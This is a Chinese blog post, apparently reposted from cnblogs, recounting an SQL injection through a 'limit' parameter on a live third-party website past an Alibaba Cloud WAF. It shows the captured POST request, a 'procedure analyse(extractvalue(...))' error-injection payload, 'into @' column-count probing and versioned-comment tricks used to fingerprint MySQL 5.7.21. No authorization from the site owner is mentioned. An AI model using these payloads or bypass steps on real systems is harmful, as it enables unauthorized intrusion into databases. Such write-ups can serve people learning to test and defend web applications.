绕过阿里云waf进行mysql limit注入证明

    朋友发了我一个站点,来看看吧,是limit注入,不太常见。搞一搞吧。

    

POST /Member/CompanyApply/lists HTTP/1.1
Host: *
Content-Length: 57
Accept: application/json, text/javascript, */*; q=0.01
Origin: *
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: *
Accept-Language: zh-CN,zh;q=0.8
Cookie: *
Connection: close

type=1&status=&search_val=&start_date=&end_date=&limit=1

 存在问题参数:limit,看到这个我就想到limit注入。就怕是幌子

  再次尝试输入limit=1和limit=2,2中成功返回了1的所有信息

  ok!尝试limit注入,limit注入不太常见,手法挺少的,尝试:

  limit=1 procedure analyse(1,extractvalue(rand(),concat(0x3a,version())));

  

 

貌似有waf。。看来是阿里云。。

  我们知道limit注入只能用procedure analyse进行报错注入,可以说是很鸡肋了。

  还有waf。

  先绕waf吧

  首先修改数据包头: 

  发现还是405 

 

继续尝试绕过:

  思路:找一个上传图片包 :

 

 

复制粘贴到存在sql注入的数据包中:

    

 

如果sql语句是union select x from y limit x未使用order by,我们可以使用union select进行注入探测:

使用1 union select 1

 

发现有order by。。。。只能用那两个函数了。。

参考文章:http://www.vuln.cn/8101

这里踩了不少坑,一直在纠结为啥出不了数据,后来才知道,mysql版本>5.6.6

  这里的问题是很有可能是mysql>5.6

  那么还如何证明注入呢?

   使用into

  limit注入本地测试:

  union select x from y order by x limit x (x=limit参数)

  union select x from y order by x limit 1,x (x=limit参数)

  只有这两种可能了。

  因为版本大于5.6.6只能使用另类方法证明是否是sql注入了:

  先本地测试下:

  查询表,发现是两列数据,id和name字段 

  

 

  平常我们探测列数都是order by,其实我们还可以:

  使用into @

  在limit下利用:

  

 

会提示列不同:

  

 

出现了不一样的提示,所以我们的列是2列

  如果我们再次加一个@

  

 

  就会提示不同列。  

  实战测试:

  正确的列数:

  

 

不正确的列数返回如下:

  

 

 

至此我们可以证明出这是个sql注入。最后列数是9

  mysql版本号大于5.6.6这是怎么证明的呢?

  1/*!50666aaaa*/报错说明版本号>5.6.66 

  

 

 

 输入

 

出现错误,输入1/*!50721aaaa*/ 

不再报错

  

 

说明 版本号应该是5.7.21

 

  此次注入经历让我学到了很多,还得多多努力!

转载于:https://www.cnblogs.com/piaomiaohongchen/p/10680088.html

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值